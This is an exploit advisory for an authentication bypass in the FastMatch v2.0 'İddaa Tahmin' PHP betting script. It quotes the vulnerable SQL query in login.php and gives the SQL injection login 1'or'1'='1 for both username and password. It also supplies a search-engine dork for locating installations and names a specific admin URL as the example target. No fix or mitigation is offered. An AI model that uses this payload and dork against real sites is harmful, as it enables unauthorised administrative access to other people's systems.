FastMatch v2.0 İddaa Tahmin Scripti Admin Bypass Login

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657========================================================================

| # Title     : FastMatch v2.0 İddaa Tahmin Scripti auth by pass vulnerability

| # Author    : indoushka

| # email     : indoushka4ever@gmail.com

| # Tested on : windows 8.1 Français V.(Pro)

| # Version   : v2.0

| # Vendor    : http://wmscripti.com/php-scriptler/fastmatch-iddaa-tahmin-scripti.html

| # Dork      : "FastMatch | İddaa Tahminleri Beta"

========================================================================



poc :



login.php



line 9 :  $bul = mysql_query("select * from admin where kadi='$user' && sifre='$pass'");



http://v2.zkulubu.com/admin/



user : 1'or'1'='1



pass : 1'or'1'='1







Greetz : ⵏⴻⴽⴽⴰⴰ ⵙⴰⵍⴰⵀ ⴻⴷⴷⵉⵏⴻ------ⵯⵉⵯⴰ ⴰⵎⴰⵣⵉⴳⴻⵏ-------- ⵎⴰⵅⵡⴻⵍⵍ ⵛⴰⵛⵀⴷoⵍⵍⴰⵔ ------

                                                                       |

jericho * Larry W. Cashdollar * moncet-1 * achraf.tn                   |

                                                                       |

===================== pⴰⵛⴽⴻⵜ ⵙⵜoⵔⵎ ⵙⴻⵛⵓⵔⵉⵜⵢ  =============================